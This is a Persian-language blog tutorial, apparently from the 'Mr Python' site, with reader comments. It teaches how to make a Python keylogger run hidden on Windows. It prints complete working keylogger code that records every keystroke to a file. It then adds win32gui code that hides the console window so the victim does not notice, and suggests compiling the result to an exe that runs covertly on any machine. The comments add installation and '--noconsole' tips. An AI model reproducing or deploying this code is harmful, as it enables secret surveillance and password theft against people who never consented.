چگونه در پایتون اسکریپتی بنویسیم که به طور مخفیانه در پس زمینه اجرا شود ؟ :: Mr Python | مستر پایتون

چگونه در پایتون اسکریپتی بنویسیم که به طور مخفیانه در پس زمینه اجرا شود ؟

  • ۳۱۱۹

چگونه در پایتون اسکریپتی بنویسیم که به طور مخفیانه در پس زمینه اجرا شود ؟

درود به همه !

 

در نوشتن ابزار های امنیتی با پایتون ، یکی از مهمترین و داغ ترین مطالب این است که ما بتوانیم اسکریپت هایی بنویسیم که بدونه اجازه کاربر روی سیستم اجرا شود . همچنین در خیلی از مواقع نیاز داریم تا کاربر متوجه اجرای اسکریپت روی سیستم خودش نشود . در پست آموزشی امروز یادمیگریم چگونه با اضافه کردن چند خط کد ساده به اسکریپت هایمان باعث بشیم تا اونا در پست زمینه به طور مخفیانه اجرا شوند .

نکته : این روش مخفی سازی در ویندوز تست شده و کار میدهد . روش اجرای مخفی اسکریپت ها در لینوکس متفاوت است .

اما بگذارید بگوییم چگونه قرار است اسکریپتمان را مخفی کنیم . فرض کنید ما یه کیلاگر خیلی ساده نوشتیم . در پست آموزش ساخت ساده ترین کیلاگر  در پایتون به طور کامل ساخت این کیلاگر را توضیح دادیم . پیشنهاد میکنم یک دور پست معرفی شده رو بخونید و سپس بیاید این پست رو بخونید .

سورس کیلاگر سادمون اینطوری بود :

from pynput.keyboard import  Listener

def keypress(Key):
    f = open("logs.txt","a")
    f.write(str(Key) + "\n")
    f.close()

listener = Listener(on_press = keypress)
listener.start()
while True:
    pass

خب کار این اسکریپت این بود که هر کلیدی که زده میشد رو مینوشت داخل یه فایلی به نام logs.txt . (توضیح خط به خط اسکریپت ، در پست آموزش ساخت کیلاگر مبتدی موجود هستش)

مشکلی که این اسکریپت داره اینه که وقتی اجرا میشه و شروع به ضبط کردن کلید های کاربر میکنه ، یه پنجره ی سیاه رنگ(console) در صفحه نشون داده میشه . مثل تصویر زیر :

خب این معلومه که کاربر بهش شک میکنه و سریع اونو میبنده . پس اینطوری بدرد نمیخوره . امروز همین اسکریپت رو میخوایم کاری کنیم تا دیگه یه صفحه سیاه رنگ روی مانیتور نشون نده و در پس زمینه به طور مخفیانه اجرا بشه وکلید ها رو ضبط کنه .

برای اینکار ما با استفاده از دو کتابخونه ی win32con  و win32gui چند خط کد به سورس کیلاگرمون اضافه میکنیم که باعث میشه کیلاگرمون به طور مخفیانه در پس زمینه اجرا بشه ! به همین راحتی !. 

شما میتونید این چند خط کدی که باعث میشه اسکریپت به صورت مخفیانه در پس زمینه اجرا بشه رو به هر سورس دلخواه دیگری اضافه کنید تا اون سورس به طور مخفی اجرا بشه . حتی میتونید بعد از نوشتن سورس اونو به فرمت فایل اجرایی (exe) تبدیل کنید. اینطوری یه اسکریپت قابل اجرا روی هرسیستمی دارید که به طور مخفیانه در پس زمینه ی اون سیستم اجرا میشه .

اما بریم سراغ سورس کد .

سورس کد تغییر یافته کیلاگر بالا به صورت زیر خواهد بود :

from pynput.keyboard import  Listener
from win32con import SW_HIDE # NEW
import win32gui # NEW
def hidden():
    pid = win32gui.GetForegroundWindow() # NEW
    win32gui.ShowWindow(pid , SW_HIDE) # NEW
    
def keypress(Key):
    f = open("logs.txt","a")
    f.write(str(Key) + "\n")
    f.close()

listener = Listener(on_press = keypress)
listener.start()

hidden() # NEW

while True:
    pass

خب خطوطی که به تازگی اضافه شدن رو با کامنت NEW # مشخص کردیم . فقط خطوط جدید رو توضیح میدیم . خب در اول اسکریپت که ماژول های مورد نیاز رو ایمپورت کردیم . سپس یه تابع تعریف کردیم به نام hidden . درون این تابع دو خط کد نوشتیم . وقتی این تابع فراخونی میشه باعث میشه تا اسکریپت ما مخفی بشه . اما بریم کد های داخلش رو توضیح بدیم . در خط اول با استفاده از تابع win32gui.GetForegroundWindows اومدیم pid اسکریپت در حال اجرامون رو گرفتیم و ریختیم داخل متغییر pid (شماره ای که سیستم عامل به اسکریپت در حال اجرامون داده) . سپس در خط بعد با استفاده از تابع win32gui.ShowWindow اومدیم اسکریپتمون رو مخفی کردیم . این تابع دوتا ورودی میگیره . ورودی اول شماره پروسه ای هستش که میخوایم حالت اجراش رو تغییر بدیم که ما pid رو بهش دادیم (یعنی اسکریپت خودمون) . سپس ورودی دوم حالت اجرای اسکریپت هستش . ما گفتیم SW_HIDE یعنی مخفی بشه .

سپس در خطوط آخر برنامه قبل از حلقه ی while اومدیم تابع hidden رو فراخونی کردیم تا برنامه مخفی بشه .

حالا وقتی اسکریپت رو اجرا میکنیم هیچ صفحه ی سیاه رنگی به ما نشون داده نمیشه و اسکریپت در پس زمینه اجرا میشه و کارش رو انجام میده .

در GIF زیر میبینید که من اسکریپت رو اجرا میکنم ولی هیچ صفحه ای نمایش داده نمیشود و به طور مخفیانه اجرا میشود . همچنین در آخر ویدیو میبینیم که کلید های زده شده رو در فایل logs.txt ذخیره کرده است .(روی لینک کلیک کنید)

مشاهده GIF

برای بستن اسکریپت کافی است مانند ویدیو زیر task manager ویندوز رو باز کنیم و اسکریپت رو kill کنیم :

مشاهده GIF

یاحق !

Telegram Channel : @mrpythonblog

  • سلام همین اعلان رفتم یک سرج کردم دیدم اگه فایل اجرایی را با پسوند.pyw ذخیره کنیم هم در پس زمینه اجرا میشه. آیا با هم فرقی نمی کنند؟ و میشه از این روش استفاده کرد؟

    پاسخ:
     ببینید pyw فقط اون صفه کنسول مشکی رنگ رو مخفی میکنه . کاربردش برای برنامه های گرافیکیه که میخوان کنسول نمایش داده نشه . احتمالا این روش هم کاربردیه
  • سلام من تازه با وبلاگ شما آشنا شدم و باید بگم واقعا آموزش هایی که میدید عالی و کاربردی هستند. لطفا هر روز پست بگذارید

    پاسخ:
    باعث خوشحاله که دنبال میکنید :)
  • سلام داش کارت عالیه راستش خیلی ازت خوشم میاد و از اموزشات بهره میبرم دعات میکنمxD و اینکه اولش مینویسی درود به همه یاد انانیموس میوفتم 😂در کل کارت عالیه

    پاسخ:
    سلام . ممنون که دنبال میکنی :)

  • سلام ممنون میشم جواب بدین برای من کتاب خونه های win32gui و win32con رو نمیشناسه

    این ارورو میده:

    Traceback (most recent call last):
      File "c:\pythone\virus\test.py", line 2, in <module>
        from pynput.keyboard import  Listener
    ModuleNotFoundError: No module named 'pynput'

    روی ویندوز

    پاسخ:
    درود .
    با استفاده از دستور زیر نصبشون کنید :
    pip install pynput pywin32
  • Traceback (most recent call last):
      File "C:\Users\pc\Desktop\برنامه نوسی\test1000.py", line 2, in <module>
        from win32com import SW_HIDE # NEW
    ImportError: cannot import name 'SW_HIDE' from 'win32com' (C:\Users\pc\AppData\Local\Programs\Python\Python39\lib\site-packages\win32com\__init__.py)

     

    سلام من تو ویندوز کار می کنم این ارور داد ممنون میشم بررسی کنید:)

    پاسخ:
    درود بر شما . 
    شما win32con رو نوشتید win32com
    اصلاحش کنید مشکل حل میشه :)
    موفق باشید .
  • سلام

    من کل این رو کپی کردم در پایتون ولی کار نکرد:(

    چرا؟

     

    پاسخ:
    درود .
    در ویندوز هستید یا لینوکس ؟
    اگه اروری میگیرید ارور رو بفرستید .
  • چیزم میشد تو پای اینستالر => --noconsole

     

    راستی مستر برنامه نوشتن چند نخی با thread رو بزار واقعا مرسی

    پاسخ:
    بله درست میگی . تو خروجی  گرفتن هم میشد این تنظیمات رو اعمال کرد .
    باشه حتما بحث پردازش های موازی رو کار میکنیم . :)
  • عجب چیز خفنی 😃😃

    پاسخ:
    مچکرم :))
ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
شما میتوانید از این تگهای html استفاده کنید:
<b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
تجدید کد امنیتی